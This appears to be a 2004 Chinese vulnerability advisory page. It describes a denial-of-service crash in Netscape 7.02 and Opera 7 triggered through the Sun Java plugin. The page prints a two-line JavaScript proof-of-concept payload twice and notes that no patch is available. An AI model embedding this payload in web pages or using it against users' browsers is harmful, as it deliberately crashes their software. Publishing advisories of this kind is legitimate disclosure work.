网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全漏洞 > Other > 使用java脚本导致Netscape/Opera崩溃 (Other,其他)  

使用java脚本导致Netscape/Opera崩溃 (Other,其他)

2004-04-09  作者:BitsCN整理  来源:中国网管联盟  点评 投稿 收藏

涉及程序:
Netscape 7.02版/Opera 7版
 
描述:
使用java脚本导致Netscape/Opera崩溃
 
详细:
攻击者通过运行下列格式的java脚本代码能导致运行在Windows XP上的Netscape 7.02版和Opera 7版崩溃:
<scr1pt language=3D"Javascript">
t =3D new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
</scr1pt>

用于测试的JVM是来自SUN的Java 1.4.1_02版。
 
 
攻击方法:
示例代码:
<scr1pt language=3D"Javascript">
t =3D new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
</scr1pt>
 
 
解决方案:
目前厂商未公布该缺陷补丁,请用户及时关注厂商站点:
http://www.netscape.com/http://www.opera.com/
 
附加信息:


TAGs   崩溃   其他   导致   脚本   scr1pt   代码   运行   攻击   language      
 上一篇:EZ Server 存在远程DoS缺陷 (Other,缺陷)   下一篇:CC Log 存在脚本注入缺陷 (Other,缺陷)
使用java脚本导致Netscape/Opera崩溃 (Other,其他) 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: